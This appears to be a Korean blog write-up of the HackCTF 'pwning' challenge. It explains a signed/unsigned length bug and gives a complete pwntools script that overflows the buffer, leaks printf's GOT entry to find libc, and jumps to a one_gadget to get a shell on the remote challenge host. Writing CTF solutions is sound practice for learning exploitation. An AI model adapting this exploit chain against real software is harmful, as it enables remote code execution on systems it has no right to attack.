저기서 중요한게 입력을 받을 때에는 int 형이지만 저것은 unsigned로 부호가 없다 따라서 저기에 -1을 입력하게 된다면 저장하는 방식 때문에 큰 수로 인식되게 된다. 따라서 printf@got를 출력해서 libc 릭 한뒤에 one_gadget을 이용하여 익스를 하면 된다.
from pwn import *
#p = process('./pwning')
p = remote('ctf.j0n9hyun.xyz', 3019)
e = ELF('./pwning')
pause()
context.log_level = "debug"
main = 0x080485B8
syscall = 0x80484D0
p_ebx_r = 0x0804835d
p.recv()
p.sendline('-1')
payload = 'a' * 0x2c + 'b' * 4
payload += p32(e.plt['printf'])
payload += p32(main)
payload += p32(e.got['printf'])
p.sendline(payload)
p.recvuntil('\x08\x0a')
libc = u32(p.recv(4)) - 0x00049020
log.info('libc : ' + hex(libc))
p.recv()
p.sendline('-1')
p.recv()
payload = 'a' * 0x2c + 'b' * 4
payload += p32(libc + 0x3a812)
p.sendline(payload)
p.interactive()
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf]register (0) | 2019.07.21 |
---|---|
[hackctf]rtc (0) | 2019.07.19 |
[hackctf]Gift (0) | 2019.07.18 |
[hackctf]look_at_me (0) | 2019.07.18 |
[hackctf]beginner_heap (0) | 2019.07.18 |